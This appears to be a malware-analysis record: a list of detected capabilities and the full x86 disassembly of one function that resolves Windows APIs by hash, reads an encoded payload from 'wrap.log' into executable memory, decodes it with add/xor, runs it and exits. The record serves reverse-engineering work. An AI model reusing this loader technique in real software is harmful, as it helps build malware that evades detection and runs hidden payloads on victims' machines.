Function at 0x10001052
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports
Terminate process

Disassembly:
sub esp, 0x12c
mov eax, dword fs:[0x30]
movaps xmm0, xmmword [str.wrap.log]
and dword [esp + 0x24], 0
push ebx
mov eax, dword [eax + 0xc]
push ebp
push esi
movups xmmword [esp + 0x20], xmm0
mov eax, dword [eax + 0xc]
push edi
mov edx, dword [eax + 0x18]
mov ecx, dword [edx + 0x3c]
mov ebp, dword [ecx + edx + 0x78]
add ebp, edx
cmp ebp, edx
je 0x100010db
mov edi, dword [ebp + 0x18]
test edi, edi
je 0x100010db
mov ecx, dword [ebp + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
lea ebx, [ebx - 4]
mov ecx, 0x8935f636
mov esi, dword [ebx]
dec edi
add esi, edx
mov dword [esp + 0x10], ecx
mov cl, byte [esi]
inc esi
test cl, cl
je 0x100010d7
mov edx, dword [esp + 0x10]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x100010b4
mov dword [esp + 0x10], edx
cmp dword [esp + 0x10], 0x6688485e
mov edx, dword [eax + 0x18]
je 0x100010df
test edi, edi
jne 0x10001098
mov eax, dword [eax]
jmp 0x10001079
mov eax, dword [ebp + 0x24]
push 0x104
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [ebp + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [esp + 0x3c]
push ecx
add eax, edx
push 0
call eax
dec eax
cmp eax, 0x102
ja 0x10001128
lea eax, [esp + 0x38]
push 0x5c
push eax
call fcn.100021b0
pop ecx
pop ecx
test eax, eax
je 0x10001128
push 5
lea edi, [eax + 1]
pop ecx
lea esi, [esp + 0x24]
rep movsd dword es:[edi], dword [esi]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov ecx, dword [edx + 0x3c]
mov ebp, dword [ecx + edx + 0x78]
add ebp, edx
cmp ebp, edx
je 0x10001196
mov edi, dword [ebp + 0x18]
test edi, edi
je 0x10001196
mov ecx, dword [ebp + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
lea ebx, [ebx - 4]
mov ecx, 0x53f4564f
mov esi, dword [ebx]
dec edi
add esi, edx
mov dword [esp + 0x10], ecx
mov cl, byte [esi]
inc esi
test cl, cl
je 0x10001192
mov edx, dword [esp + 0x10]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x1000116f
mov dword [esp + 0x10], edx
cmp dword [esp + 0x10], 0x63fd3ab8
mov edx, dword [eax + 0x18]
je 0x1000119a
test edi, edi
jne 0x10001153
mov eax, dword [eax]
jmp 0x10001134
mov eax, dword [ebp + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [ebp + 0x1c]
lea eax, [eax + ecx*4]
xor ecx, ecx
mov eax, dword [eax + edx]
push ecx
push 0x80
push 4
push ecx
push ecx
push 0x80000000
lea ecx, [esp + 0x50]
add eax, edx
push ecx
call eax
mov dword [esp + 0x14], eax
test eax, eax
je 0x10001459
mov ecx, dword fs:[0x30]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov edx, dword [ecx + 0x18]
mov eax, dword [edx + 0x3c]
mov ebp, dword [eax + edx + 0x78]
add ebp, edx
cmp ebp, edx
je 0x10001242
mov edi, dword [ebp + 0x18]
test edi, edi
je 0x10001242
mov eax, dword [ebp + 0x20]
lea ebx, [eax + edi*4]
add ebx, edx
lea ebx, [ebx - 4]
mov eax, 0xdceaa09e
mov esi, dword [ebx]
dec edi
add esi, edx
mov dword [esp + 0x10], eax
mov al, byte [esi]
inc esi
test al, al
je 0x1000123e
mov edx, dword [esp + 0x10]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [esi]
inc esi
test al, al
jne 0x1000121b
mov dword [esp + 0x10], edx
cmp dword [esp + 0x10], 0xa2946285
mov edx, dword [ecx + 0x18]
je 0x10001246
test edi, edi
jne 0x100011ff
mov ecx, dword [ecx]
jmp 0x100011e0
mov eax, dword [ebp + 0x24]
push 0
push dword [esp + 0x18]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [ebp + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ecx, dword fs:[0x30]
mov dword [esp + 0x18], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov edx, dword [esi + 0x3c]
mov ebp, dword [edx + esi + 0x78]
add ebp, esi
cmp ebp, esi
je 0x100012d6
mov edi, dword [ebp + 0x18]
test edi, edi
je 0x100012d6
mov eax, dword [ebp + 0x20]
lea ebx, [eax + edi*4]
add ebx, esi
lea ebx, [ebx - 4]
mov eax, 0x7ba6b757
mov edx, dword [ebx]
dec edi
add edx, esi
mov dword [esp + 0x10], eax
mov al, byte [edx]
inc edx
test al, al
je 0x100012d2
mov esi, dword [esp + 0x10]
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx]
inc edx
test al, al
jne 0x100012af
mov dword [esp + 0x10], esi
cmp dword [esp + 0x10], 0x4bbb69e3
mov esi, dword [ecx + 0x18]
je 0x100012da
test edi, edi
jne 0x10001293
mov ecx, dword [ecx]
jmp 0x10001274
mov eax, dword [ebp + 0x24]
push 0x40
push 0x1000
push dword [esp + 0x20]
lea eax, [eax + edi*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebp + 0x1c]
push 0
lea eax, [eax + ecx*4]
mov eax, dword [eax + esi]
add eax, esi
call eax
mov ecx, dword fs:[0x30]
and dword [esp + 0x20], 0
mov dword [esp + 0x1c], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov edx, dword [ecx + 0x18]
mov eax, dword [edx + 0x3c]
mov ebp, dword [eax + edx + 0x78]
add ebp, edx
cmp ebp, edx
je 0x10001376
mov edi, dword [ebp + 0x18]
test edi, edi
je 0x10001376
mov eax, dword [ebp + 0x20]
lea ebx, [eax + edi*4]
add ebx, edx
lea ebx, [ebx - 4]
mov eax, 0xeaae21d9
mov esi, dword [ebx]
dec edi
add esi, edx
mov dword [esp + 0x10], eax
mov al, byte [esi]
inc esi
test al, al
je 0x10001372
mov edx, dword [esp + 0x10]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [esi]
inc esi
test al, al
jne 0x1000134f
mov dword [esp + 0x10], edx
cmp dword [esp + 0x10], 0x9bd1873f
mov edx, dword [ecx + 0x18]
je 0x1000137a
test edi, edi
jne 0x10001333
mov ecx, dword [ecx]
jmp 0x10001314
mov eax, dword [ebp + 0x24]
push 0
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [ebp + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [esp + 0x24]
push ecx
push dword [esp + 0x20]
add eax, edx
push dword [esp + 0x28]
push dword [esp + 0x24]
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov ecx, dword [edx + 0x3c]
mov ebx, dword [ecx + edx + 0x78]
add ebx, edx
cmp ebx, edx
je 0x10001413
mov edi, dword [ebx + 0x18]
test edi, edi
je 0x10001413
mov ecx, dword [ebx + 0x20]
lea ebp, [ecx + edi*4]
add ebp, edx
lea ebp, [ebp - 4]
mov ecx, 0xf5b2b058
mov esi, dword [ebp]
dec edi
add esi, edx
mov dword [esp + 0x10], ecx
mov cl, byte [esi]
inc esi
test cl, cl
je 0x1000140f
mov edx, dword [esp + 0x10]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x100013ec
mov dword [esp + 0x10], edx
cmp dword [esp + 0x10], 0x7c99c642
mov edx, dword [eax + 0x18]
je 0x10001417
test edi, edi
jne 0x100013cf
mov eax, dword [eax]
jmp 0x100013b0
mov eax, dword [ebx + 0x24]
push dword [esp + 0x14]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ebx, dword [esp + 0x18]
xor ecx, ecx
mov edx, dword [esp + 0x1c]
test ebx, ebx
je 0x1000144f
mov al, byte [edx + ecx]
add al, 0x77
xor al, 0x62
mov byte [edx + ecx], al
inc ecx
cmp ecx, ebx
jb 0x10001440
call edx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret